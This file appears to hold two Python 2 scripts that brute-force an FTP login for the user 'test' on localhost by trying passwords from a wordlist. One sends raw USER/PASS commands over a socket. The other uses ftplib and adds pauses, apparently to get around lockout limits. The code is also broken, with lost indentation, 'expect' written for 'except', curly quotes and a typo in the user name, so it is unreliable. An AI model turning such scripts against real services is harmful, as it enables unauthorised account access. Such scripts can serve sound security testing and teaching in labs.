import socket
import sys
for i in open(sys.argv[1], "r"):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",21))
data = s.recv(1024)
s.send("USER test\r\n")
data = s.recv(1024)
s.send("PASS {}\r\n".format(i.rstrip()))
data = s.recv(1024)
if "230" in data:
print "Password is {}".format(i.rstrip())
break
import ftplib
import time
ftp = ftplib.FTP("127.0.0.1")
c = 0
for passw in open("pwd.txt", “r”):
pwd = passw.rstrip()
if c <= 3:
try:
ftp.login("test", str(pwd))
print “Password for user tesi is {}”.format(pwd)
expect:
pass
else:
time.sleep(5)
try:
ftp.login("test", str(pwd))
print “Password for user tesi is {}”.format(pwd)
expect:
pass
c = 0
c = c +1